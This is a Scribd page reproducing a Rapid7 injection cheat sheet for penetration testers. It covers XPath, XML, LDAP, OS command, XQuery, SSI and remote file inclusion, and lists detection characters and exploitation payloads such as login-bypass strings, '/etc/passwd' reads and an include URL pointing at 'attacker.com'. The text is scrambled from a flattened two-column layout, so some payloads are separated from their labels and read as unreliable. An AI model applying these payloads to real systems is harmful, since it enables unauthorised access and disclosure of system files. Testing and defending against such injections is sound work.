Scribd
Upload
352 views1 page

R7 Injection CheatSheet.v1

This document provides a cheat sheet for detecting and exploiting various types of injection vulnerabilities including XML, XPath, LDAP, OS command, XQuery, SSI, and remote code injections. It lists common indicators to look for during detection such as special characters and tags. Exploitation techniques are also outlined, such as manipulating tags, pipes, and environment variables to execute commands or view sensitive files.

Uploaded by

qwe
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
352 views1 page

R7 Injection CheatSheet.v1

This document provides a cheat sheet for detecting and exploiting various types of injection vulnerabilities including XML, XPath, LDAP, OS command, XQuery, SSI, and remote code injections. It lists common indicators to look for during detection such as special characters and tags. Exploitation techniques are also outlined, such as manipulating tags, pipes, and environment variables to execute commands or view sensitive files.

Uploaded by

qwe
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 1

XML Injection

INJECTION CHEAT SHEET (non-SQL) Detection


single quote
www.rapid7.com
double quote

XPATH Injection <> angular parentheses

Detection <!--/--> XML Comment tag

single quote & ampersand

double quote <![CDATA[ / ]]> CDATA section delimiters

Exploitation Exploitation
or 1=1 or = <!-- EXISTING TAG --> New value of existing tag along with tag name

] | * | user[@role=admin http://www.example.com/addUser.php?us Add user as administrator


ername=dan&password=123456<!--email:
NODENAME returns all children of node --><userid>0</userid><mail>foo@emaildo-
//NODENAME returns all elements in the document main.com

NODENAME//SUBNODENAME returns all SUBNODE under NODE element OS Command Injection


//NODENAME/[NAME=VALUE] returns all NODE that have a NAME child Detection
equal to VALUE | <ANOTHER COMMAND> Pipe - On *NIX Output of first command to another,
http://site.com/login. Login bypass In Windows multiple commands execution
aspx?username=foo or 1=1 or = ; <ANOTHER COMMAND> semicolon - Running two commands together
LDAP Injection Exploitation
Detection %<ENV VARIABLE>% Windows only
( opening bracket & Running command in background (*NIX Only)
) closing bracket ://site.com/whois.php?domain=foobar; Displays content of /etc/passwd file
I Pipe - OR operator for LDAP echo+/etc/passwd

& Ampersand - AND operator for LDAP XQuery Injection


! Exclamation - NOT operator for LDAP Detection
Exploitation single quote
(&(param1=val1)(param2=val2)) AND operator double quote
(|(param1=val1)(param2=val2)) OR operator Exploitation
*)(ObjectClass=*)) Blind LDAP Injection using AND operator or <ATTACK> or .=
(&(objectClass=void
something or =
void)(ObjectClass=void))(&(objectClass=void BLIND LDAP Injection using OR operator
http://site.com/xmlsearch?user=foo or = Displays list of all users with attributes
http://site.com/ldapsearch?user=* Displays list of all users with attributes
SSI Injection
Remote Code Injection
Detection
Upload File include, echo, exec Look for word
Upload file
.SHTML File extension
PHP, JSP, ASP etc. Injecting active content
Exploitation
execution! Access back from webroot
< ! # = / . - > and [a-zA-Z0-9] Required characters for successful execution
Remote file inclusion/injection <!--#include virtual=<SOME SYSTEM FILE > -->
include($incfile); PHP call
http://site.com/ssiform.php?showfile=<!-- Displays content of /etc/passwd file
http://site.com/page.php?file=http://www.attacker.com/exploit Injecting #include virtual=/etc/passwd -->

You might also like